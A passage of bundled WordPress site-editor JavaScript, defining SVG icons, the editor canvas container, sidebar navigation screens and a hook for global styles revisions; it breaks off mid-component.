;// ./node_modules/@wordpress/icons/build-module/library/close-small.js
/**
 * WordPress dependencies
 */


const closeSmall = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"
  })
});
/* harmony default export */ const close_small = (closeSmall);

;// ./node_modules/@wordpress/edit-site/build-module/components/editor-canvas-container/index.js
/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */



const {
  EditorContentSlotFill,
  ResizableEditor
} = unlock(external_wp_editor_namespaceObject.privateApis);

/**
 * Returns a translated string for the title of the editor canvas container.
 *
 * @param {string} view Editor canvas container view.
 *
 * @return {Object} Translated string for the view title and associated icon, both defaulting to ''.
 */
function getEditorCanvasContainerTitle(view) {
  switch (view) {
    case 'style-book':
      return (0,external_wp_i18n_namespaceObject.__)('Style Book');
    case 'global-styles-revisions':
    case 'global-styles-revisions:style-book':
      return (0,external_wp_i18n_namespaceObject.__)('Style Revisions');
    default:
      return '';
  }
}
function EditorCanvasContainer({
  children,
  closeButtonLabel,
  onClose,
  enableResizing = false
}) {
  const {
    editorCanvasContainerView,
    showListViewByDefault
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const _editorCanvasContainerView = unlock(select(store)).getEditorCanvasContainerView();
    const _showListViewByDefault = select(external_wp_preferences_namespaceObject.store).get('core', 'showListViewByDefault');
    return {
      editorCanvasContainerView: _editorCanvasContainerView,
      showListViewByDefault: _showListViewByDefault
    };
  }, []);
  const [isClosed, setIsClosed] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    setEditorCanvasContainerView
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  const {
    setIsListViewOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
  const focusOnMountRef = (0,external_wp_compose_namespaceObject.useFocusOnMount)('firstElement');
  const sectionFocusReturnRef = (0,external_wp_compose_namespaceObject.useFocusReturn)();
  function onCloseContainer() {
    setIsListViewOpened(showListViewByDefault);
    setEditorCanvasContainerView(undefined);
    setIsClosed(true);
    if (typeof onClose === 'function') {
      onClose();
    }
  }
  function closeOnEscape(event) {
    if (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE && !event.defaultPrevented) {
      event.preventDefault();
      onCloseContainer();
    }
  }
  const childrenWithProps = Array.isArray(children) ? external_wp_element_namespaceObject.Children.map(children, (child, index) => index === 0 ? (0,external_wp_element_namespaceObject.cloneElement)(child, {
    ref: sectionFocusReturnRef
  }) : child) : (0,external_wp_element_namespaceObject.cloneElement)(children, {
    ref: sectionFocusReturnRef
  });
  if (isClosed) {
    return null;
  }
  const title = getEditorCanvasContainerTitle(editorCanvasContainerView);
  const shouldShowCloseButton = onClose || closeButtonLabel;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditorContentSlotFill.Fill, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-editor-canvas-container",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ResizableEditor, {
        enableResizing: enableResizing,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("section", {
          className: "edit-site-editor-canvas-container__section",
          ref: shouldShowCloseButton ? focusOnMountRef : null,
          onKeyDown: closeOnEscape,
          "aria-label": title,
          children: [shouldShowCloseButton && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            size: "compact",
            className: "edit-site-editor-canvas-container__close-button",
            icon: close_small,
            label: closeButtonLabel || (0,external_wp_i18n_namespaceObject.__)('Close'),
            onClick: onCloseContainer
          }), childrenWithProps]
        })
      })
    })
  });
}
function useHasEditorCanvasContainer() {
  const fills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(EditorContentSlotFill.name);
  return !!fills?.length;
}
/* harmony default export */ const editor_canvas_container = (EditorCanvasContainer);


;// ./node_modules/@wordpress/edit-site/build-module/hooks/commands/use-set-command-context.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


const {
  useCommandContext
} = unlock(external_wp_commands_namespaceObject.privateApis);
const {
  useLocation: use_set_command_context_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);

/**
 * React hook used to set the correct command context based on the current state.
 */
function useSetCommandContext() {
  const {
    query = {}
  } = use_set_command_context_useLocation();
  const {
    canvas = 'view'
  } = query;
  const hasBlockSelected = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(external_wp_blockEditor_namespaceObject.store).getBlockSelectionStart();
  }, []);
  const hasEditorCanvasContainer = useHasEditorCanvasContainer();

  // Sets the right context for the command palette
  let commandContext = 'site-editor';
  if (canvas === 'edit') {
    commandContext = 'entity-edit';
  }
  if (hasBlockSelected) {
    commandContext = 'block-selection-edit';
  }
  if (hasEditorCanvasContainer) {
    /*
     * The editor canvas overlay will likely be deprecated in the future, so for now we clear the command context
     * to remove the suggested commands that may not make sense with Style Book or Style Revisions open.
     * See https://github.com/WordPress/gutenberg/issues/62216.
     */
    commandContext = '';
  }
  useCommandContext(commandContext);
}

;// ./node_modules/@wordpress/icons/build-module/library/navigation.js
/**
 * WordPress dependencies
 */


const navigation = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z"
  })
});
/* harmony default export */ const library_navigation = (navigation);

;// ./node_modules/@wordpress/icons/build-module/library/page.js
/**
 * WordPress dependencies
 */


const page = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z"
  }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z"
  })]
});
/* harmony default export */ const library_page = (page);

;// ./node_modules/@wordpress/icons/build-module/library/layout.js
/**
 * WordPress dependencies
 */


const layout = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"
  })
});
/* harmony default export */ const library_layout = (layout);

;// ./node_modules/@wordpress/icons/build-module/library/symbol.js
/**
 * WordPress dependencies
 */


const symbol = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"
  })
});
/* harmony default export */ const library_symbol = (symbol);

;// ./node_modules/@wordpress/icons/build-module/library/chevron-right.js
/**
 * WordPress dependencies
 */


const chevronRight = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z"
  })
});
/* harmony default export */ const chevron_right = (chevronRight);

;// ./node_modules/@wordpress/icons/build-module/library/chevron-left.js
/**
 * WordPress dependencies
 */


const chevronLeft = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z"
  })
});
/* harmony default export */ const chevron_left = (chevronLeft);

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-button/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */


function SidebarButton(props) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    size: "compact",
    ...props,
    className: dist_clsx('edit-site-sidebar-button', props.className)
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */






const {
  useHistory: sidebar_navigation_screen_useHistory,
  useLocation: sidebar_navigation_screen_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function SidebarNavigationScreen({
  isRoot,
  title,
  actions,
  content,
  footer,
  description,
  backPath: backPathProp
}) {
  const {
    dashboardLink,
    dashboardLinkText,
    previewingThemeName
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getSettings
    } = unlock(select(store));
    const currentlyPreviewingThemeId = currentlyPreviewingTheme();
    return {
      dashboardLink: getSettings().__experimentalDashboardLink,
      dashboardLinkText: getSettings().__experimentalDashboardLinkText,
      // Do not call `getTheme` with null, it will cause a request to
      // the server.
      previewingThemeName: currentlyPreviewingThemeId ? select(external_wp_coreData_namespaceObject.store).getTheme(currentlyPreviewingThemeId)?.name?.rendered : undefined
    };
  }, []);
  const location = sidebar_navigation_screen_useLocation();
  const history = sidebar_navigation_screen_useHistory();
  const {
    navigate
  } = (0,external_wp_element_namespaceObject.useContext)(SidebarNavigationContext);
  const backPath = backPathProp !== null && backPathProp !== void 0 ? backPathProp : location.state?.backPath;
  const icon = (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right : chevron_left;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      className: dist_clsx('edit-site-sidebar-navigation-screen__main', {
        'has-footer': !!footer
      }),
      spacing: 0,
      justify: "flex-start",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        spacing: 3,
        alignment: "flex-start",
        className: "edit-site-sidebar-navigation-screen__title-icon",
        children: [!isRoot && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarButton, {
          onClick: () => {
            history.navigate(backPath);
            navigate('back');
          },
          icon: icon,
          label: (0,external_wp_i18n_namespaceObject.__)('Back'),
          showTooltip: false
        }), isRoot && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarButton, {
          icon: icon,
          label: dashboardLinkText || (0,external_wp_i18n_namespaceObject.__)('Go to the Dashboard'),
          href: dashboardLink
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
          className: "edit-site-sidebar-navigation-screen__title",
          color: '#e0e0e0' /* $gray-200 */,
          level: 1,
          size: 20,
          children: !isPreviewingTheme() ? title : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: theme name. 2: title */
          (0,external_wp_i18n_namespaceObject.__)('Previewing %1$s: %2$s'), previewingThemeName, title)
        }), actions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "edit-site-sidebar-navigation-screen__actions",
          children: actions
        })]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        className: "edit-site-sidebar-navigation-screen__content",
        children: [description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "edit-site-sidebar-navigation-screen__description",
          children: description
        }), content]
      })]
    }), footer && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("footer", {
      className: "edit-site-sidebar-navigation-screen__footer",
      children: footer
    })]
  });
}

;// ./node_modules/@wordpress/icons/build-module/icon/index.js
/**
 * WordPress dependencies
 */


/** @typedef {{icon: JSX.Element, size?: number} & import('@wordpress/primitives').SVGProps} IconProps */

/**
 * Return an SVG icon.
 *
 * @param {IconProps}                                 props icon is the SVG component to render
 *                                                          size is a number specifying the icon size in pixels
 *                                                          Other props will be passed to wrapped SVG component
 * @param {import('react').ForwardedRef<HTMLElement>} ref   The forwarded ref to the SVG element.
 *
 * @return {JSX.Element}  Icon component
 */
function Icon({
  icon,
  size = 24,
  ...props
}, ref) {
  return (0,external_wp_element_namespaceObject.cloneElement)(icon, {
    width: size,
    height: size,
    ...props,
    ref
  });
}
/* harmony default export */ const build_module_icon = ((0,external_wp_element_namespaceObject.forwardRef)(Icon));

;// ./node_modules/@wordpress/icons/build-module/library/chevron-left-small.js
/**
 * WordPress dependencies
 */


const chevronLeftSmall = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z"
  })
});
/* harmony default export */ const chevron_left_small = (chevronLeftSmall);

;// ./node_modules/@wordpress/icons/build-module/library/chevron-right-small.js
/**
 * WordPress dependencies
 */


const chevronRightSmall = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z"
  })
});
/* harmony default export */ const chevron_right_small = (chevronRightSmall);

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-item/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



const {
  useHistory: sidebar_navigation_item_useHistory,
  useLink
} = unlock(external_wp_router_namespaceObject.privateApis);
function SidebarNavigationItem({
  className,
  icon,
  withChevron = false,
  suffix,
  uid,
  to,
  onClick,
  children,
  ...props
}) {
  const history = sidebar_navigation_item_useHistory();
  const {
    navigate
  } = (0,external_wp_element_namespaceObject.useContext)(SidebarNavigationContext);
  // If there is no custom click handler, create one that navigates to `params`.
  function handleClick(e) {
    if (onClick) {
      onClick(e);
      navigate('forward');
    } else if (to) {
      e.preventDefault();
      history.navigate(to);
      navigate('forward', `[id="${uid}"]`);
    }
  }
  const linkProps = useLink(to);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, {
    className: dist_clsx('edit-site-sidebar-navigation-item', {
      'with-suffix': !withChevron && suffix
    }, className),
    id: uid,
    onClick: handleClick,
    href: to ? linkProps.href : undefined,
    ...props,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "flex-start",
      children: [icon && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
        style: {
          fill: 'currentcolor'
        },
        icon: icon,
        size: 24
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexBlock, {
        children: children
      }), withChevron && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
        icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_small : chevron_right_small,
        className: "edit-site-sidebar-navigation-item__drilldown-indicator",
        size: 24
      }), !withChevron && suffix]
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-revisions/use-global-styles-revisions.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */

const SITE_EDITOR_AUTHORS_QUERY = {
  per_page: -1,
  _fields: 'id,name,avatar_urls',
  context: 'view',
  capabilities: ['edit_theme_options']
};
const DEFAULT_QUERY = {
  per_page: 100,
  page: 1
};
const use_global_styles_revisions_EMPTY_ARRAY = [];
const {
  GlobalStylesContext: use_global_styles_revisions_GlobalStylesContext
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function useGlobalStylesRevisions({
  query
} = {}) {
  const {
    user: userConfig
  } = (0,external_wp_element_namespaceObject.useContext)(use_global_styles_revisions_GlobalStylesContext);
  const _query = {
    ...DEFAULT_QUERY,
    ...query
  };
  const {
    authors,
    currentUser,
    isDirty,
    revisions,
    isLoadingGlobalStylesRevisions,
    revisionsCount
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _globalStyles$_links$;
    const {
      __experimentalGetDirtyEntityRecords,
      getCurrentUser,
      getUsers,
      getRevisions,
      __experimentalGetCurrentGlobalStylesId,
      getEntityRecord,
      isResolving
    } = select(external_wp_coreData_namespaceObject.store);
    const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
    const _currentUser = getCurrentUser();
    const _isDirty = dirtyEntityRecords.length > 0;
    const globalStylesId = __experimentalGetCurrentGlobalStylesId();
    const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
    const _revisionsCount = (_globalStyles$_links$ = globalStyles?._links?.['version-history']?.[0]?.count) !== null && _globalStyles$_links$ !== void 0 ? _globalStyles$_links$ : 0;
    const globalStylesRevisions = getRevisions('root', 'globalStyles', globalStylesId, _query) || use_global_styles_revisions_EMPTY_ARRAY;
    const _authors = getUsers(SITE_EDITOR_AUTHORS_QUERY) || use_global_styles_revisions_EMPTY_ARRAY;
    const _isResolving = isResolving('getRevisions', ['root', 'globalStyles', globalStylesId, _query]);
    return {
      authors: _authors,
      currentUser: _currentUser,
      isDirty: _isDirty,
      revisions: globalStylesRevisions,
      isLoadingGlobalStylesRevisions: _isResolving,
      revisionsCount: _revisionsCount
    };
  }, [query]);
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!authors.length || isLoadingGlobalStylesRevisions) {
      return {
        revisions: use_global_styles_revisions_EMPTY_ARRAY,
        hasUnsavedChanges: isDirty,
        isLoading: true,
        revisionsCount
      };
    }

    // Adds author details to each revision.
    const _modifiedRevisions = revisions.map(revision => {
      return {
        ...revision,
        author: authors.find(author => author.id === revision.author)
      };
    });
    const fetchedRevisionsCount = revisions.length;
    if (fetchedRevisionsCount) {
      // Flags the most current saved revision.
      if (_modifiedRevisions[0].id !== 'unsaved' && _query.page === 1) {
        _modifiedRevisions[0].isLatest = true;
      }

      // Adds an item for unsaved changes.
      if (isDirty && userConfig && Object.keys(userConfig).length > 0 && currentUser && _query.page === 1) {
        const unsavedRevision = {
          id: 'unsaved',
          styles: userConfig?.styles,
          settings: userConfig?.settings,
          _links: userConfig?._links,
          author: {
            name: currentUser?.name,
            avatar_urls: currentUser?.avatar_urls
          },
          modified: new Date()
        };
        _modifiedRevisions.unshift(unsavedRevision);
      }
      if (_query.page === Math.ceil(revisionsCount / _query.per_page)) {
        // Adds an item for the default theme styles.
        _modifiedRevisions.push({
          id: 'parent',
          styles: {},
          settings: {}
        });
      }
    }
    return {
      revisions: _modifiedRevisions,
      hasUnsavedChanges: isDirty,
      isLoading: false,
      revisionsCount
    };
  }, [isDirty, revisions, currentUser, authors, userConfig, isLoadingGlobalStylesRevisions]);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-details-footer/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


function SidebarNavigationScreenDetailsFooter({
  record,
  revisionsCount,
  ...otherProps
}) {
  var _record$_links$predec;
  /*
   * There might be other items in the future,
   * but for now it's just modified date.
   * Later we might render a list of items and isolate
   * the following logic.
   */
  const hrefProps = {};
  const lastRevisionId = (_record$_links$predec = record?._links?.['predecessor-version']?.[0]?.id) !== null && _record$_links$predec !== void 0 ? _record$_links$predec : null;

  // Use incoming prop first, then the record's version history, if available.
  revisionsCount = revisionsCount || record?._links?.['version-history']?.[0]?.count || 0;

  /*
   * Enable the revisions link if there is a last revision and there is more than one revision.
   * This link is used for theme assets, e.g., templates, which have no database record until they're edited.
   * For these files there's only a "revision" after they're edited twice,
   * which means the revision.php page won't display a proper diff.
   * See: https://github.com/WordPress/gutenberg/issues/49164.
   */
  if (lastRevisionId && revisionsCount > 1) {
    hrefProps.href = (0,external_wp_url_namespaceObject.addQueryArgs)('revision.php', {
      revision: record?._links['predecessor-version'][0].id
    });
    hrefProps.as = 'a';
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
    size: "large",
    className: "edit-site-sidebar-navigation-screen-details-footer",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
      icon: library_backup,
      ...hrefProps,
      ...otherProps,
      children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: Number of Styles revisions. */
      (0,external_wp_i18n_namespaceObject._n)('%d Revision', '%d Revisions', revisionsCount), revisionsCount)
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-global-styles/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */








const {
  useLocation: sidebar_navigation_screen_global_styles_useLocation,
  useHistory: sidebar_navigation_screen_global_styles_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function SidebarNavigationItemGlobalStyles(props) {
  const {
    name
  } = sidebar_navigation_screen_global_styles_useLocation();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
    ...props,
    "aria-current": name === 'styles'
  });
}
function SidebarNavigationScreenGlobalStyles() {
  const history = sidebar_navigation_screen_global_styles_useHistory();
  const {
    path
  } = sidebar_navigation_screen_global_styles_useLocation();
  const {
    revisions,
    isLoading: isLoadingRevisions,
    revisionsCount
  } = useGlobalStylesRevisions();
  const {
    openGeneralSidebar
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const {
    setEditorCanvasContainerView
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  const {
    set: setPreference
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const openGlobalStyles = (0,external_wp_element_namespaceObject.useCallback)(async () => {
    history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
      canvas: 'edit'
    }), {
      transition: 'canvas-mode-edit-transition'
    });
    return Promise.all([setPreference('core', 'distractionFree', false), openGeneralSidebar('edit-site/global-styles')]);
  }, [path, history, openGeneralSidebar, setPreference]);
  const openRevisions = (0,external_wp_element_namespaceObject.useCallback)(async () => {
    await openGlobalStyles();
    // Open the global styles revisions once the canvas mode is set to edit,
    // and the global styles sidebar is open. The global styles UI is responsible
    // for redirecting to the revisions screen once the editor canvas container
    // has been set to 'global-styles-revisions'.
    setEditorCanvasContainerView('global-styles-revisions');
  }, [openGlobalStyles, setEditorCanvasContainerView]);

  // If there are no revisions, do not render a footer.
  const shouldShowGlobalStylesFooter = !!revisionsCount && !isLoadingRevisions;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
      title: (0,external_wp_i18n_namespaceObject.__)('Design'),
      isRoot: true,
      description: (0,external_wp_i18n_namespaceObject.__)('Customize the appearance of your website using the block editor.'),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MainSidebarNavigationContent, {
        activeItem: "styles-navigation-item"
      }),
      footer: shouldShowGlobalStylesFooter && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenDetailsFooter, {
        record: revisions?.[0],
        revisionsCount: revisionsCount,
        onClick: openRevisions
      })
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-main/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */






function MainSidebarNavigationContent({
  isBlockBasedTheme = true
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
    className: "edit-site-sidebar-navigation-screen-main",
    children: [isBlockBasedTheme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
        uid: "navigation-navigation-item",
        to: "/navigation",
        withChevron: true,
        icon: library_navigation,
        children: (0,external_wp_i18n_namespaceObject.__)('Navigation')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItemGlobalStyles, {
        to: "/styles",
        uid: "global-styles-navigation-item",
        icon: library_styles,
        children: (0,external_wp_i18n_namespaceObject.__)('Styles')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
        uid: "page-navigation-item",
        to: "/page",
        withChevron: true,
        icon: library_page,
        children: (0,external_wp_i18n_namespaceObject.__)('Pages')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
        uid: "template-navigation-item",
        to: "/template",
        withChevron: true,
        icon: library_layout,
        children: (0,external_wp_i18n_namespaceObject.__)('Templates')
      })]
    }), !isBlockBasedTheme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
      uid: "stylebook-navigation-item",
      to: "/stylebook",
      withChevron: true,
      icon: library_styles,
      children: (0,external_wp_i18n_namespaceObject.__)('Styles')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
      uid: "patterns-navigation-item",
      to: "/pattern",
      withChevron: true,
      icon: library_symbol,
      children: (0,external_wp_i18n_namespaceObject.__)('Patterns')
    })]
  });
}
function SidebarNavigationScreenMain({
  customDescription
}) {
  const isBlockBasedTheme = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme, []);
  const {
    setEditorCanvasContainerView
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));

  // Clear the editor canvas container view when accessing the main navigation screen.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setEditorCanvasContainerView(undefined);
  }, [setEditorCanvasContainerView]);
  let description;
  if (customDescription) {
    description = customDescription;
  } else if (isBlockBasedTheme) {
    description = (0,external_wp_i18n_namespaceObject.__)('Customize the appearance of your website using the block editor.');
  } else {
    description = (0,external_wp_i18n_namespaceObject.__)('Explore block styles and patterns to refine your site.');
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
    isRoot: true,
    title: (0,external_wp_i18n_namespaceObject.__)('Design'),
    description: description,
